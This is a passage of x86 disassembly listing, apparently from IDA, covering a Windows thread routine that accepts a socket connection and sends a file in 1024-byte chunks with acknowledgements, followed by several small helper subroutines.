		lea	ecx, [ebp+69h]
		call	sub_13AB8D3
		mov	cl, [ebp+93h]
		push	eax
		mov	al, [ebp+94h]
		push	offset dword_443A30
		push	eax
		push	ecx
		mov	ecx, offset byte_E19CC5
		call	sub_13AB518
		jmp	loc_13B6CDE
; ---------------------------------------------------------------------------


loc_13B6B41:				; CODE XREF: sub_13B6800+314j
		lea	edx, [esp+0B8h+var_80]
		lea	eax, [esp+0B8h+var_20]
		push	edx
		push	eax
		push	edi
		mov	[esp+0C4h+var_80], 10h
		call	accept	; accept
		cmp	eax, 0FFFFFFFFh
		mov	[esp+0C4h+var_7C], eax
		jnz	short loc_13B6B91
		lea	ecx, [ebp+69h]
		call	sub_13AB8D3
		mov	cl, [ebp+94h]
		mov	dl, [ebp+93h]
		push	eax
		push	offset dword_443A10
		push	ecx
		push	edx
		mov	ecx, offset byte_E19CC5
		call	sub_13AB518
		jmp	loc_13B6CDE
; ---------------------------------------------------------------------------


loc_13B6B91:				; CODE XREF: sub_13B6800+364j
		push	edi
		call	closesocket	; closesocket
		test	ebx, ebx
		jz	loc_13B6C49


loc_13B6BA0:				; CODE XREF: sub_13B6800+43Cj
		mov	ebp, 400h
		cmp	ebx, ebp
		jge	short loc_13B6BAB
		mov	ebp, ebx


loc_13B6BAB:				; CODE XREF: sub_13B6800+3A7j
		mov	edx, ebx
		xor	eax, eax
		neg	edx
		push	2
		mov	ecx, 100h
		lea	edi, [esp+0CCh+arg_E0]
		push	eax
		push	edx
		push	esi
		rep stosd
		call	SetFilePointer	; SetFilePointer
		lea	eax, [esp+0D8h+var_AC]
		push	0
		push	eax
		lea	ecx, [esp+0E0h+arg_D0]
		push	ebp
		push	ecx
		push	esi
		call	ReadFile	; ReadFile
		mov	eax, [esp+0ECh+var_A4]
		push	0
		lea	edx, [esp+0F0h+arg_BC]
		push	ebp
		push	edx
		push	eax
		call	send	; send
		mov	ecx, [esp+0FCh+var_E8]
		mov	ebp, [esp+0FCh+var_E4]
		mov	edi, eax
		push	0
		cdq
		add	ecx, eax
		push	400h
		mov	[esp+104h+var_E8], ecx
		lea	ecx, [esp+104h+arg_AC]
		adc	ebp, edx
		mov	edx, [esp+104h+var_B4]
		push	ecx
		push	edx
		mov	[esp+10Ch+var_E4], ebp
		call	recv	; recv
		cmp	eax, 1
		jl	loc_13B6D12
		cmp	edi, 1
		jl	loc_13B6D12
		sub	ebx, edi
		jnz	loc_13B6BA0
		mov	ebp, [esp+10Ch+arg_53D0]


loc_13B6C49:				; CODE XREF: sub_13B6800+39Aj
		push	esi
		call	CloseHandle	; CloseHandle
		lea	ecx, [esp+110h+var_90]
		call	sub_13AB824
		mov	eax, [esp+110h+var_F8]
		mov	ecx, [esp+110h+var_FC]
		push	eax
		push	ecx
		lea	ecx, [esp+118h+var_C4]
		mov	[esp+118h+arg_53C4], 3
		call	sub_13AB8D3
		mov	edx, [esp+118h+var_74]
		push	eax
		push	edx
		call	inet_ntoa	; inet_ntoa
		push	eax
		lea	eax, [esp+124h+var_94]
		push	offset dword_4439DC
		push	eax
		call	sub_13AB42D
		add	esp, 18h
		lea	ecx, [ebp+69h]
		call	sub_13AB8D3
		push	eax
		lea	ecx, [esp+118h+var_94]
		call	sub_13AB8D3
		mov	cl, [ebp+94h]
		mov	dl, [ebp+93h]
		push	eax
		push	ecx
		push	edx
		mov	ecx, offset byte_E19CC5
		call	sub_13AB518
		lea	ecx, [esp+124h+var_A4]
		mov	[esp+124h+arg_53B0], 2
		call	sub_13AB626


loc_13B6CDE:				; CODE XREF: sub_13B6800+33Cj
					; sub_13B6800+38Cj
		lea	ecx, [esp+124h+var_BC]
		mov	[esp+124h+arg_53B0], 0
		call	sub_13AB626
		mov	ebx, [esp+124h+var_114]


loc_13B6CF3:				; CODE XREF: sub_13B6800+1DCj
					; sub_13B6800+243j
		xor	esi, esi
		cmp	ebx, esi
		jbe	short loc_13B6D00


loc_13B6CF9:				; CODE XREF: sub_13B6800+CBj
		push	ebx
		call	closesocket	; closesocket


loc_13B6D00:				; CODE XREF: sub_13B6800+4F7j
		mov	eax, [esp+128h+var_E0]
		push	eax
		call	closesocket	; closesocket
		push	esi
		call	ExitThread	; ExitThread


loc_13B6D12:				; CODE XREF: sub_13B6800+42Bj
					; sub_13B6800+434j
		mov	esi, [esp+130h+arg_53AC]
		lea	ecx, [esi+69h]
		call	sub_13AB8D3
		mov	cl, [esi+93h]
		push	eax
		mov	al, [esi+94h]
		push	offset dword_4439C4
		push	eax
		push	ecx
		mov	ecx, offset byte_E19CC5
		call	sub_13AB518
		mov	edx, [esp+140h+var_F8]
		push	edx
		call	closesocket	; closesocket
		push	1
		call	ExitThread	; ExitThread


loc_13B6D52:				; CODE XREF: sub_13B6800+3Dj
		mov	ecx, [esp+148h+arg_5384]
		pop	edi
		pop	esi
		pop	ebp
		xor	al, al
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 54CCh
		retn	4
sub_13B6800	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 90h
		db 160h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13B6ED0	proc near		; CODE XREF: sub_13AB491j
		push	esi
		mov	esi, ecx
		lea	ecx, [esi+8]
		call	sub_13AB824
		mov	eax, esi
		pop	esi
		retn
sub_13B6ED0	endp

; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13B6EF0	proc near		; CODE XREF: sub_13ABEFFj
		add	ecx, 8
		jmp	sub_13AB626
sub_13B6EF0	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13B6F10	proc near		; CODE XREF: sub_13AC445j

var_30		= byte ptr -30h
var_24		= byte ptr -24h
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	438CE8h
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 18h
		push	esi
		push	0
		push	5
		push	0Ch
		push	9
		lea	eax, [esp+38h+var_24]
		push	6
		mov	esi, ecx
		push	eax
		call	sub_13ABDB5
		add	esp, 18h
		push	esi
		mov	ecx, eax
		mov	[esp+2Ch+var_4], 0
		call	sub_13ABBE4
		add	esi, 4
		push	eax
		push	esi
		mov	ecx, offset dword_447168
		call	sub_13AB991
		lea	ecx, [esp+34h+var_30]
		mov	[esp+34h+var_10], 0FFFFFFFFh
		call	sub_13AB626
		mov	ecx, [esp+34h+var_18]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 24h
		retn
sub_13B6F10	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13B6FB0	proc near		; CODE XREF: sub_13ABFA4j

var_50		= byte ptr -50h
var_45		= byte ptr -45h
var_44		= byte ptr -44h
var_38		= dword	ptr -38h
var_34		= byte ptr -34h
var_24		= byte ptr -24h
var_1F		= byte ptr -1Fh
var_10		= byte ptr -10h
var_A		= byte ptr -0Ah
arg_8		= dword	ptr  0Ch
arg_C		= byte ptr  10h
arg_D		= byte ptr  11h
arg_E		= byte ptr  12h
arg_F		= dword	ptr  13h
arg_18		= byte ptr  1Ch
arg_1B		= dword	ptr  1Fh
arg_1F		= dword	ptr  23h
arg_23		= dword	ptr  27h
arg_27		= dword	ptr  2Bh
arg_2B		= dword	ptr  2Fh
arg_2724